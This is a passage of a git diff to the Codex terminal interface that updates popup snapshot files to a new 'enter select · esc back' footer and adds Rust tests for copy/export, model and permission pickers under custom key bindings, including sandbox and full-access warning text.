+6,7 @@ expression: popup If you'd rather not wait, retry with a faster model. It may be less capable of handling complex requests. + › 1. Retry with a faster model 2. Dismiss and keep waiting 3. Learn more diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__safety_buffering_side_conversation_without_retry.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__safety_buffering_side_conversation_without_retry.snap index 54263e2752..eb482d5356 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__safety_buffering_side_conversation_without_retry.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__safety_buffering_side_conversation_without_retry.snap @@ -4,6 +4,7 @@ expression: popup --- Giving this request a little extra thought + › 1. Dismiss and keep waiting 2. Learn more diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__safety_buffering_status_without_retry.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__safety_buffering_status_without_retry.snap index 54263e2752..eb482d5356 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__safety_buffering_status_without_retry.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__safety_buffering_status_without_retry.snap @@ -4,6 +4,7 @@ expression: popup --- Giving this request a little extra thought + › 1. Dismiss and keep waiting 2. Learn more diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__skills_menu_default_mentions_shortcut.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__skills_menu_default_mentions_shortcut.snap index 63d95ffaaa..41297c5302 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__skills_menu_default_mentions_shortcut.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__skills_menu_default_mentions_shortcut.snap @@ -5,7 +5,8 @@ expression: popup Skills Choose an action + › 1. List skills Tip: press $ to open this list directly. 2. Enable/Disable Skills Enable or disable skills. - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_archive_confirmation_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_archive_confirmation_popup.snap index ada6b3b442..ef89361480 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_archive_confirmation_popup.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_archive_confirmation_popup.snap @@ -5,7 +5,8 @@ expression: popup Archive this session? Are you sure? This will archive the current session + › 1. No, don't archive Return to the current session 2. Yes, archive Archive this session now - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_copy_picker_status_fields.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_copy_picker_status_fields.snap index 6747cb7b6b..b28012136e 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_copy_picker_status_fields.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_copy_picker_status_fields.snap @@ -1,14 +1,14 @@ --- source: tui/src/chatwidget/tests/slash_commands.rs -assertion_line: 2032 expression: "render_bottom_popup(&chat,\n100).replace(&directory,\n\"[[workspace]]\").replace(crate::version::CODEX_CLI_VERSION, \"VERSION\")" --- Copy to clipboard + › 1. Whole status >_ OpenAI Codex (vVERSION) 2. Model gpt-5.5 3. Directory [[workspace]] 4. Thread name Clipboard example 5. Session ID 00000000-0000-0000-0000-000000000123 - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_delete_confirmation_command_center.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_delete_confirmation_command_center.snap index 5ca9c50a18..506f6e9690 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_delete_confirmation_command_center.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_delete_confirmation_command_center.snap @@ -5,8 +5,9 @@ expression: popup Delete this session? Cannot be undone. Subagent threads will also be deleted. + › 1. No, keep this session Return to the current session 2. Yes, delete and return to command center Permanently delete this session now - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_delete_confirmation_popup.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_delete_confirmation_popup.snap index de5c0610a0..1067996b0c 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_delete_confirmation_popup.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_delete_confirmation_popup.snap @@ -5,7 +5,8 @@ expression: popup Delete this session? Cannot be undone. Subagent threads will also be deleted. + › 1. No, keep this session Return to the current session 2. Yes, delete and exit Permanently delete this session now - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_export_destination_picker.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_export_destination_picker.snap index 122c1f8d54..7a29ce860f 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_export_destination_picker.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_export_destination_picker.snap @@ -5,7 +5,8 @@ expression: popup Export conversation Save the complete conversation as Markdown + › 1. Copy to clipboard Copy the complete Markdown transcript 2. Save to file Choose a Markdown filename - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_pets_picker.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_pets_picker.snap index 88210edc5e..e451de2bc0 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_pets_picker.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__slash_pets_picker.snap @@ -1,25 +1,20 @@ --- source: tui/src/chatwidget/tests/slash_commands.rs +assertion_line: 2890 expression: popup --- Select Pet Choose a pet to wake in the terminal. Type to filter pets... - Disable terminal pets - BSOD A tiny blue-screen - gremlin -› Codex The original Codex - companion - Dewey A tidy duck for calm Loading preview... - workspace days - Fireball Hot path energy for - fast iteration - Null Signal Quiet signal from the - void - Rocky A steady rock when - the diff gets large - Seedy Small green shoots - for new ideas - Press enter to confirm or esc to go back + Disable terminal pets + BSOD Loading preview... +› Codex + Dewey + Fireball + Null Signal + Rocky + Seedy +↓ + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__usage_command_menu.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__usage_command_menu.snap index 459f6d04e5..b02fe31a67 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__usage_command_menu.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__usage_command_menu.snap @@ -5,7 +5,8 @@ expression: "render_bottom_popup(&chat, 80)" Usage View account usage or redeem an earned reset. + › 1. View analytics Browse account usage and activity. 2. Redeem usage limit reset You have 2 usage limit resets available. - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__usage_command_menu_before_reset_refresh.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__usage_command_menu_before_reset_refresh.snap index f21a8798a0..a7b7e41038 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__usage_command_menu_before_reset_refresh.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__usage_command_menu_before_reset_refresh.snap @@ -1,11 +1,13 @@ --- source: tui/src/chatwidget/tests/usage.rs +assertion_line: 261 expression: "render_bottom_popup(&chat, 80)" --- Usage View account usage or redeem an earned reset. + › 1. View analytics Browse account usage and activity. 2. Redeem usage limit reset Check reset availability. - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__usage_command_menu_without_resets.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__usage_command_menu_without_resets.snap index aec39060ae..310594b098 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__usage_command_menu_without_resets.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__usage_command_menu_without_resets.snap @@ -5,7 +5,8 @@ expression: "render_bottom_popup(&chat, 80)" Usage View account usage or redeem an earned reset. + › 1. View analytics Browse account usage and activity. Redeem usage limit reset No usage limit resets available. - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__windows_sandbox_picker_fallback_false_40.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__windows_sandbox_picker_fallback_false_40.snap new file mode 100644 index 0000000000..f973494e98 --- /dev/null +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__windows_sandbox_picker_fallback_false_40.snap @@ -0,0 +1,18 @@ +--- +source: tui/src/chatwidget/tests/permissions.rs +expression: rendered +--- + Set up the Codex agent sandbox to + protect your files and control + network access. Learn more + + + + 1. Set up default sandbox (requires + Administrator permissions) +› 2. Use non-admin sandbox (higher risk + if prompt injected) + 3. Quit + + f3 select · f2 back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__windows_sandbox_picker_fallback_true_40.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__windows_sandbox_picker_fallback_true_40.snap new file mode 100644 index 0000000000..d7c9f951e2 --- /dev/null +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__windows_sandbox_picker_fallback_true_40.snap @@ -0,0 +1,20 @@ +--- +source: tui/src/chatwidget/tests/permissions.rs +expression: rendered +--- + Couldn't set up your sandbox with + Administrator permissions + + You can still use Codex in a + non-admin sandbox. It carries + greater risk if prompt injected. + Learn more + + + + 1. Try setting up admin sandbox again +› 2. Use Codex with non-admin sandbox + 3. Quit + + f3 select · f2 back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__windows_sandbox_required_enable_prompt.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__windows_sandbox_required_enable_prompt.snap index c0c36c3942..184aa6b2c2 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__windows_sandbox_required_enable_prompt.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__windows_sandbox_required_enable_prompt.snap @@ -6,7 +6,8 @@ expression: "render_bottom_popup(&chat, 120)" network access. Learn more + › 1. Set up default sandbox (requires Administrator permissions) 2. Quit - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__windows_sandbox_required_fallback_prompt.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__windows_sandbox_required_fallback_prompt.snap index c9195f7a03..d6cf850956 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__windows_sandbox_required_fallback_prompt.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__windows_sandbox_required_fallback_prompt.snap @@ -7,7 +7,8 @@ expression: popup Your organization requires the default sandbox before Codex can continue. Learn more + › 1. Try setting up admin sandbox again 2. Quit - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__windows_sandbox_unelevated_policy.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__windows_sandbox_unelevated_policy.snap index ccf3f16ac6..6463373ac3 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__windows_sandbox_unelevated_policy.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__windows_sandbox_unelevated_policy.snap @@ -5,7 +5,8 @@ expression: "render_bottom_popup(&chat, 100)" Set up the Codex agent sandbox to protect your files and control network access. Learn more + › 1. Use non-admin sandbox (higher risk if prompt injected) 2. Quit - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__workspace_member_credits_depleted_prompt.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__workspace_member_credits_depleted_prompt.snap index 283dcd5f0f..5f7f210aad 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__workspace_member_credits_depleted_prompt.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__workspace_member_credits_depleted_prompt.snap @@ -5,7 +5,8 @@ expression: popup You've reached your workspace credit limit Your workspace is out of credits. Ask your workspace owner to add more. Notify owner? + 1. Yes (y) › 2. No (default) (n) - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__workspace_member_usage_limit_prompt.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__workspace_member_usage_limit_prompt.snap index ee8322ab7f..3d99f5887f 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__workspace_member_usage_limit_prompt.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__workspace_member_usage_limit_prompt.snap @@ -5,7 +5,8 @@ expression: popup Usage limit reached Request a limit increase from your owner to continue using codex. Request increase? + 1. Yes (y) › 2. No (default) (n) - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktree_browser_actions.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktree_browser_actions.snap index 34480af517..61a026c88a 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktree_browser_actions.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktree_browser_actions.snap @@ -1,13 +1,13 @@ --- source: tui/src/chatwidget/tests/worktree_picker_tests.rs -assertion_line: 137 expression: "render_bottom_popup(&chat, 80)" --- Worktree: Fix login form /repo/worktree + › 1. Resume owner thread 2. Copy working directory 3. Delete worktree - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktree_browser_delete_confirmation.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktree_browser_delete_confirmation.snap index 8a9e164c87..901993b4ec 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktree_browser_delete_confirmation.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktree_browser_delete_confirmation.snap @@ -1,12 +1,12 @@ --- source: tui/src/chatwidget/tests/worktree_picker_tests.rs -assertion_line: 170 expression: "render_bottom_popup(&chat, 80)" --- Delete this worktree? /repo/worktree + › 1. Cancel 2. Delete worktree Keeps thread history; may disrupt other sessions - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktree_browser_list.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktree_browser_list.snap index 8d04e3f545..509d770266 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktree_browser_list.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktree_browser_list.snap @@ -1,12 +1,12 @@ --- source: tui/src/chatwidget/tests/worktree_picker_tests.rs -assertion_line: 120 expression: "render_bottom_popup(&chat, 80)" --- Managed worktrees Select a worktree to resume, copy its path, or delete it + › Fix login form updated 2h ago · /repo/worktree - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktree_browser_loading.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktree_browser_loading.snap index e6381ff916..d56e86e8b5 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktree_browser_loading.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktree_browser_loading.snap @@ -1,10 +1,10 @@ --- source: tui/src/chatwidget/tests/worktree_picker_tests.rs -assertion_line: 90 expression: "render_bottom_popup(&chat, 80)" --- Managed worktrees + › Loading worktrees… - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktree_browser_owner_states.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktree_browser_owner_states.snap index 1a1e08fae9..08cd663b05 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktree_browser_owner_states.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktree_browser_owner_states.snap @@ -1,14 +1,14 @@ --- source: tui/src/chatwidget/tests/worktree_picker_tests.rs -assertion_line: 237 expression: "render_bottom_popup(&chat, 80)" --- Managed worktrees Select a worktree to resume, copy its path, or delete it -› Fix settings Archived · updated 1d ago · /repo/archived - /repo/missing Owner thread unavailable - /repo/empty No attached thread - Press enter to confirm or esc to go back +› Fix settings Archived · updated 1d ago · /repo/archived + /repo/missing Owner thread unavailable · /repo/missing + /repo/empty No attached thread · /repo/empty + + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktrees_conversation_choices.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktrees_conversation_choices.snap index ddf97f9c3f..20aada03da 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktrees_conversation_choices.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktrees_conversation_choices.snap @@ -1,10 +1,10 @@ --- source: tui/src/chatwidget/tests/worktree_picker_tests.rs -assertion_line: 71 expression: popup --- Worktrees + › 1. Continue current conversation Preserve this conversation in the new checkout 2. Start new conversation Open a fresh conversation in the new @@ -12,4 +12,4 @@ expression: popup 3. Browse worktrees Resume an owner thread or copy a working directory - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktrees_fork_choices.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktrees_fork_choices.snap index e8cdf06c77..44c9b2da24 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktrees_fork_choices.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktrees_fork_choices.snap @@ -1,10 +1,11 @@ --- -source: tui/src/chatwidget/tests/slash_commands.rs +source: tui/src/chatwidget/tests/worktree_picker_tests.rs expression: popup --- Where should the forked conversation run? + › 1. Current checkout Keep using the current working directory 2. New worktree Create an isolated managed checkout - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktrees_new_choices.snap b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktrees_new_choices.snap index db7c23de4d..fe690b2a92 100644 --- a/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktrees_new_choices.snap +++ b/codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__worktrees_new_choices.snap @@ -1,10 +1,11 @@ --- -source: tui/src/chatwidget/tests/slash_commands.rs +source: tui/src/chatwidget/tests/worktree_picker_tests.rs expression: popup --- Where should the new conversation run? + › 1. Current checkout Keep using the current working directory 2. New worktree Create an isolated managed checkout - Press enter to confirm or esc to go back + enter select · esc back diff --git a/codex-rs/tui/src/chatwidget/tests.rs b/codex-rs/tui/src/chatwidget/tests.rs index 0cb92544e6..57d01ccca2 100644 --- a/codex-rs/tui/src/chatwidget/tests.rs +++ b/codex-rs/tui/src/chatwidget/tests.rs @@ -247,6 +247,8 @@ mod composer_submission; mod computer_activity_tests; #[path = "tests/config_errors_tests.rs"] mod config_errors; +#[path = "tests/copy_export_picker_tests.rs"] +mod copy_export_picker_tests; mod exec_flow; mod goal_menu; mod goal_validation; @@ -260,6 +262,10 @@ mod mcp_startup; mod misalignment_policy; #[path = "tests/model_display_name_tests.rs"] mod model_display_name_tests; +#[path = "tests/model_picker_tests.rs"] +mod model_picker_tests; +#[path = "tests/permission_picker_tests.rs"] +mod permission_picker_tests; #[path = "tests/permission_shortcuts_tests.rs"] mod permission_shortcuts_tests; mod permissions; @@ -274,6 +280,8 @@ mod reasoning_status_tests; #[path = "tests/replay_render_tests.rs"] mod replay_render_tests; mod review_mode; +#[path = "tests/review_picker_tests.rs"] +mod review_picker_tests; #[path = "tests/session_model_selection_tests.rs"] mod session_model_selection_tests; mod side; diff --git a/codex-rs/tui/src/chatwidget/tests/copy_export_picker_tests.rs b/codex-rs/tui/src/chatwidget/tests/copy_export_picker_tests.rs new file mode 100644 index 0000000000..c26fbe6849 --- /dev/null +++ b/codex-rs/tui/src/chatwidget/tests/copy_export_picker_tests.rs @@ -0,0 +1,78 @@ +//! Copy/export presentation and exact payload routing through their production views. + +use super::*; +use crate::app_event::TranscriptExportDestination; +use crate::clipboard_copy::CopyFormat; +use pretty_assertions::assert_eq; + +#[tokio::test] +async fn copy_export_picker_custom_keys_preserve_payloads_and_composer_draft() { + let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await; + let mut keymap = crate::keymap::RuntimeKeymap::defaults(); + keymap.list.accept = vec![key_hint::plain(KeyCode::F(/*n*/ 3))]; + keymap.list.cancel = vec![key_hint::plain(KeyCode::F(/*n*/ 2))]; + chat.bottom_pane.set_keymap_bindings(&keymap); + chat.bottom_pane + .set_composer_text("Keep this draft".into(), Vec::new(), Vec::new()); + let source = + "A long preview with 日本語 and cafe\u{301}; keep all of it. ".repeat(/*n*/ 4); + chat.transcript.last_agent_markdown = Some(source.clone()); + chat.show_copy_picker(); + let popup = render_bottom_popup(&chat, /*width*/ 80); + assert!(popup.contains("..."), "{popup}"); + assert!(popup.contains("f3 select · f2 back"), "{popup}"); + chat.handle_key_event(KeyEvent::from(KeyCode::F(/*n*/ 3))); + let copied = std::iter::from_fn(|| rx.try_recv().ok()).find_map(|event| match event { + AppEvent::CopySelection { + text, + label, + format, + } => Some((text.to_string(), label, format)), + _ => None, + }); + assert_eq!( + copied, + Some((source, "Whole response".into(), CopyFormat::Markdown)) + ); + assert_eq!(chat.bottom_pane.composer_text(), "Keep this draft"); + + chat.show_transcript_export_popup(); + chat.handle_key_event(KeyEvent::from(KeyCode::F(/*n*/ 2))); + assert!( + std::iter::from_fn(|| rx.try_recv().ok()).all(|event| !matches!( + event, + AppEvent::ExportTranscript { .. } | AppEvent::OpenTranscriptExportFilePrompt + )) + ); + chat.show_transcript_export_popup(); + chat.handle_key_event(KeyEvent::from(KeyCode::Down)); + chat.handle_key_event(KeyEvent::from(KeyCode::F(/*n*/ 3))); + assert!( + std::iter::from_fn(|| rx.try_recv().ok()) + .any(|event| matches!(event, AppEvent::OpenTranscriptExportFilePrompt)) + ); + chat.show_transcript_export_file_prompt(); + chat.handle_key_event(KeyEvent::from(KeyCode::Esc)); + assert!(chat.no_modal_or_popup_active()); + assert_eq!(chat.bottom_pane.composer_text(), "Keep this draft"); + assert!( + std::iter::from_fn(|| rx.try_recv().ok()) + .all(|event| !matches!(event, AppEvent::ExportTranscript { .. })) + ); + + chat.show_transcript_export_file_prompt(); + chat.handle_key_event(KeyEvent::new(KeyCode::Char('a'), KeyModifiers::CONTROL)); + chat.handle_key_event(KeyEvent::new(KeyCode::Char('k'), KeyModifiers::CONTROL)); + let filename = "reviews/日本語 - result.md"; + chat.handle_paste(filename.into()); + chat.handle_key_event(KeyEvent::from(KeyCode::Enter)); + let exported = std::iter::from_fn(|| rx.try_recv().ok()).find_map(|event| match event { + AppEvent::ExportTranscript { + destination: TranscriptExportDestination::File(path), + } => Some(path), + _ => None, + }); + assert_eq!(exported, Some(PathBuf::from(filename))); + assert!(chat.no_modal_or_popup_active()); + assert_eq!(chat.bottom_pane.composer_text(), "Keep this draft"); +} diff --git a/codex-rs/tui/src/chatwidget/tests/guardian.rs b/codex-rs/tui/src/chatwidget/tests/guardian.rs index 63e538e2d4..bfd1b3e98d 100644 --- a/codex-rs/tui/src/chatwidget/tests/guardian.rs +++ b/codex-rs/tui/src/chatwidget/tests/guardian.rs @@ -206,7 +206,7 @@ async fn auto_review_denials_popup_lists_stored_auto_review_denials() { chat.open_auto_review_denials_popup(); - let popup = render_bottom_popup(&chat, /*width*/ 120); + let popup = render_bottom_popup(&chat, /*width*/ 40); assert_chatwidget_snapshot!("auto_review_denials_popup", popup); } diff --git a/codex-rs/tui/src/chatwidget/tests/model_picker_tests.rs b/codex-rs/tui/src/chatwidget/tests/model_picker_tests.rs new file mode 100644 index 0000000000..613c1b2e87 --- /dev/null +++ b/codex-rs/tui/src/chatwidget/tests/model_picker_tests.rs @@ -0,0 +1,20 @@ +//! Model-family presentation at constrained sizes and with configured list bindings. + +use super::*; +use pretty_assertions::assert_eq; + +#[tokio::test] +async fn model_picker_compact_hint_and_actions_follow_configured_bindings() { + let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(Some("gpt-5.5")).await; + let mut keymap = crate::keymap::RuntimeKeymap::defaults(); + keymap.list.accept = vec![key_hint::plain(KeyCode::F(3))]; + keymap.list.cancel = vec![key_hint::plain(KeyCode::F(2))]; + chat.bottom_pane.set_keymap_bindings(&keymap); + chat.open_all_models_popup(); + let popup = render_bottom_popup(&chat, /*width*/ 40); + assert_eq!(popup.lines().last().unwrap().trim(), "f3 select · f2 back"); + chat.handle_key_event(KeyEvent::from(KeyCode::F(3))); + assert_matches!(rx.try_recv(), Ok(AppEvent::OpenReasoningPopup { .. })); + chat.handle_key_event(KeyEvent::from(KeyCode::F(2))); + assert!(chat.no_modal_or_popup_active()); +} diff --git a/codex-rs/tui/src/chatwidget/tests/permission_picker_tests.rs b/codex-rs/tui/src/chatwidget/tests/permission_picker_tests.rs new file mode 100644 index 0000000000..04ea6b6d35 --- /dev/null +++ b/codex-rs/tui/src/chatwidget/tests/permission_picker_tests.rs @@ -0,0 +1,97 @@ +//! Permission picker presentation and configured navigation, without applying real policies. + +use super::*; +use pretty_assertions::assert_eq; + +#[tokio::test] +async fn clipped_full_access_confirmation_discloses_hidden_warning_text() { + let mut snapshots = Vec::new(); + for (specialty, height) in [(None, 10), (Some("cyber"), 16)] { + let (mut chat, _rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await; + chat.set_feature_enabled(Feature::GuardianApproval, /*enabled*/ false); + let current_model = chat.current_model().to_owned(); + Arc::make_mut(&mut chat.model_catalog) + .models + .iter_mut() + .find(|model| model.model == current_model) + .expect("the selected model is in the catalog") + .model_specialty = specialty.map(str::to_owned); + let preset = builtin_approval_presets() + .into_iter() + .find(|preset| preset.id == "full-access") + .unwrap(); + chat.open_full_access_confirmation( + preset, /*return_to_permissions*/ true, /*profile_selection*/ None, + ); + + let area = Rect::new(/*x*/ 0, /*y*/ 0, /*width*/ 40, height); + let mut buffer = Buffer::empty(area); + chat.bottom_pane.render(area, &mut buffer); + let rows = (0..height) + .map(|y| { + (0..area.width) + .map(|x| buffer[(x, y)].symbol()) + .collect::() + .trim_end() + .to_owned() + }) + .collect::>(); + assert!(rows.iter().any(|row| row.contains("Yes, continue anyway"))); + assert!(rows.iter().any(|row| row.contains("[…"))); + assert_eq!(rows.last().unwrap().trim(), "enter select · esc back"); + snapshots.push(format!( + "specialty={specialty:?} 40x{height}\n{}", + rows.join("\n") + )); + + let complete = render_bottom_popup(&chat, /*width*/ 40) + .split_whitespace() + .collect::>() + .join(" "); + assert!(!complete.contains("[…")); + assert!(complete.contains("without your approval")); + if specialty.is_some() { + assert!(complete.contains("Cyber models carry a higher risk")); + assert!(complete.contains("Ask for approval")); + } else { + assert!(complete.contains("risk of data loss")); + } + } + assert_chatwidget_snapshot!("clipped_full_access_confirmation", snapshots.join("\n\n")); +} + +#[tokio::test] +async fn permission_picker_retry_and_confirmation_follow_configured_bindings() { + let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await; + let mut keymap = crate::keymap::RuntimeKeymap::defaults(); + keymap.list.accept = vec![key_hint::plain(KeyCode::F(/*n*/ 3))]; + keymap.list.cancel = vec![key_hint::plain(KeyCode::F(/*n*/ 2))]; + chat.bottom_pane.set_keymap_bindings(&keymap); + chat.request_permission_profiles(); + rx.try_recv().unwrap(); + chat.on_permission_profiles_loaded( + chat.permission_popup_request_id.unwrap(), + Err("Disconnected".into()), + ); + let popup = render_bottom_popup(&chat, /*width*/ 40); + assert_eq!(popup.lines().last().unwrap().trim(), "f3 select · f2 back"); + 